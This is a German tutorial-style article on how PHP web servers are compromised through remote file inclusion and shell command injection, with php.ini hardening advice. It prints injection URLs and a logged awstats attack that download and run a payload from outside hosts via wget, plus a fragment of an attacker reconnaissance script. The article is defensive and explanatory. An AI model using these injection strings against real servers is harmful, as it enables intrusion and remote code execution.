Ein kompromittierter Server aus Sicht des Hackers

Hier möchte ich zwei übliche Angriffszenarien auf einem Webserver vorstellen und was man dagegen tun kann. Des weiteren kann man sehen was der Angreifer für eine Sicht auf den gehackten Server hat, bzw. welch ausgefeilte Software im dazu zur Verfügung steht (Screenshots!).

Das grundlegende Prinzip von beiden Angriffen ist immer eine unzureichende Prüfung von übermittelten Benutzerdaten. Im ersten Fall wird dies benutzt um ein Skript auf dem attackierten Server auszuführen, das in Wirklichkeit auf einem ganz anderen Server liegt. Im zweiten Fall führt die Webanwendung Shellkommandos mit den ungeprüften Benutzerdaten als Parameter aus. Letzteres führt dazu, dass der Angreifer in der Lage ist seine eigenen Shellkommandos auf dem Server auszuführen, einfach indem er sie in einem Eingabestring unterbringt.

Gewöhnlich werden die Benutzereingaben über die URL übermittelt. Der Hacker braucht also nur ein unsicheres Skript der Webanwendung zu kennen und wie dieses die Benutzereingaben verarbeitet. Anschließend prepariert er eine URL mit den gewünschten Shellkommandos. Er könnte zum Beispiel das Linux-Kommando "id" in die URL einbauen und sich so die Ausgabe im Browser anzeigen lassen.

1)Nehmen wir an auf der Zielmaschine liegt ein PHP-Skript, das durch einen Bug ermöglicht Skripte, die auf anderen Servern liegen, mit Hilfe der Variablen "content" auszuführen. Das einzige was der Hacker tun muss ist eine URL entsprechend zu preparieren:

http://domainxyz/path/to/buggyscript.php?content=http://anotherserver/uploads/hack.txt

Das Skript hack.txt läuft nun mit den Rechten des www-Benutzers und kann entsprechende Dateien je nach gesetzten Rechten ändern, löschen oder lesen. Auch Systeminformationen lassen sich anzeigen.

Ein konkretes Beispiel ist ein kleines Skript das unter dem Namen 1765f39098.txt in den Logs erschien. Hier sind die ersten paar Zeilen davon:

<?
$dir = @getcwd();
$ker = @php_uname();
echo "31337<br>";
$OS = @PHP_OS;
echo "<br>OSTYPE:$OS<br>";
echo "<br>Kernel:$ker<br>";
...
if(function_exists('exec')){
@exec($cfe,$res);
...

Sobald diese Skript ausgeführt wurde konnte der Angreifer Informationen über das Zielsystem auslesen, z.B. zum Betriebssystem und dem Kernel. Im weiteren Verlauf prüft das Skript ob gefährliche Funktionen wie exec, shell_exec usw. verfügbar sind. Schließlich übermittelte das Skript Angaben zum verfügbaren Plattenplatz an den Angreifer und fügte in alle PHP- und HTML-Dateien am Ende ein IFRAME ein. Dieses IFRAME hat dann Inhalte von einem fremden Server geladen und in die gehackte Webseite eingebaut.
Was der Hacker beim Aufruf in seinem Browser sieht zeigen die folgenden Zeilen:

31337

OSTYPE:Linux

Kernel:Linux n1 2.6.18 #1 SMP Sat Oct 14 02:39:23 CEST 2006 x86_64
Free:15.5 GB
uid=81(apache) gid=81(apache) groups=81(apache)

Eine Möglichkeit einen solchen Angriff in PHP-Anwendungen zu verhindern ist das Setzen von allow_url_fopen = Off in der php.ini.

2)Das zweite Beispiel ist etwas komplizierter. Der Angreifer lädt ein Shellskript nach /tmp und führt es direkt aus. Dieses Skript kann dann verwendet werden um den Server aus der Ferne zu kontrollieren. Wie ist das möglich?
Nehmen wir an auf dem Zielsystem liegt ein unsicheres PHP-Skript, welches Benutzereingaben nicht oder nur unzureichend prüft. Es fügt die Benutzereingaben als Parameter an ein Shellkommando an und ruft dieses auf.

<? php
...
$par=$_GET['var1'];
...
shell_exec("$cmd $par");
...
?>

Solange die Benutzereingaben normal sind funktioniert alles wie gewünscht. $cmd ist das notwendige Kommando und $par der vom Benutzer übergebene Parameterwert.
So ein normaler Aufruf des Skriptes könnte so aussehen:

http://domainxyz/path/to/script.php?var1=42354

Aber was, wenn ein Hacker das Skript so aufruft:

http://domainxyz/path/to/script.php?var1=42354;cd%20/tmp;wget%20http://ser
verxyz/script.sh;chmod%20755%20script.sh;./script.sh"?

Zuerst wird das Shellkommando wie geplant aufgerufen zusammen mit dem ersten Parameter var1. Aber durch den nachfolgenden String werden weitere ungeplante Kommandos abgesetzt! In diesem Beispiel wird eine Datei von einem anderen Server auf das Zielsystem nach /tmp geladen und sofort ausgeführt.
Eine solche Datei öffnet in der Regel einen eigenen Port und startet darüber eine ausgehende Verbindung, z.B. zu einem IRC-Server. Da es sich um eine ausgehende Verbindung handelt wird sie in der Regel von der Firewall nicht geblockt. Jetzt braucht der Hacker nicht mal mehr den Webserver und kann direkt über diesen Port mit dem gehackten System kommunizieren.

Der Webserver hatte die Datei script.sh nach /tmp geschrieben. Dadurch ist der Besitzer des Skriptes der www-Benutzer des Systems. Wird das Skript ausgeführt läuft es mit den Rechten eben dieses Benutzers. Dadurch hat der Angreifer "lediglich" die entsprechenden beschränkten Rechte und hat noch nicht die volle Kontrolle über das System erlangt. Jedoch reicht dies für die meisten Zwecke schon völlig aus, z.b. zum Emailversand über den kompromittierten Server.

Dazu ein Beispiel wie sowas in den Apache-Logdateien aussieht. Hier hat ein Angreifer versucht eine Schwachstelle im Zusammenhang mit awstats auszunutzen:

82.234.183.60 - - [21/Nov/2007:04:25:34 +0100] "GET /cgi-bin/awstats.pl?
configdir=|echo;cd%20/tmp;wget%2085.114.128.21/barbut;chmod%20755%20barbut;
./barbut;echo| HTTP/1.1" 404 278 "-" "Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1;)Connection: close"

Eines der meistgenutzten Skripte für solche Sachen ist das r57shell PHP-skript. Wenn man es öffnet sieht man als erstes eine große ASCII-Grafik einer Spinne. Das Skript ist relativ groß, hat mehr als 2000 Zeilen Code. Im Falle eines erfolgreichen Angriffs hat der Hacker eine komplette PHP-Anwendung zur Ausnutzung des Zielsystems zur Verfügung. Er kann ganz bequem mit ein paar Mausklicks Ports öffnen, Shellkommandos ausführen, Textdateien editieren, Mails versenden, Dateien hochladen usw. Die folgenden Screenshots zeigen, das was der Hacker nach dem Angriff zu sehen bekommt.

Das sollte eigentlich reichen zum Aufwachen.

Eine Möglichkeit sich vor solchen Attacken in PHP-Anwendungen zu schützen ist das Ergänzen der Liste der deaktivierten Funktionen in der php.ini.

disable_functions = show_source, exec, shell_exec, system, popen, proc_open, proc_nice, ini_restore, passthru,dl

Hier sind noch mehr Infos zur Sicherheit:
Sichere PHP-Konfiguration mit Hilfe der php.ini
Tips zur Untersuchung gehackter Webserver
Mehr Sicherheit für Apache-Webserver mit ModSecurity

Härtung von Apache-Webservern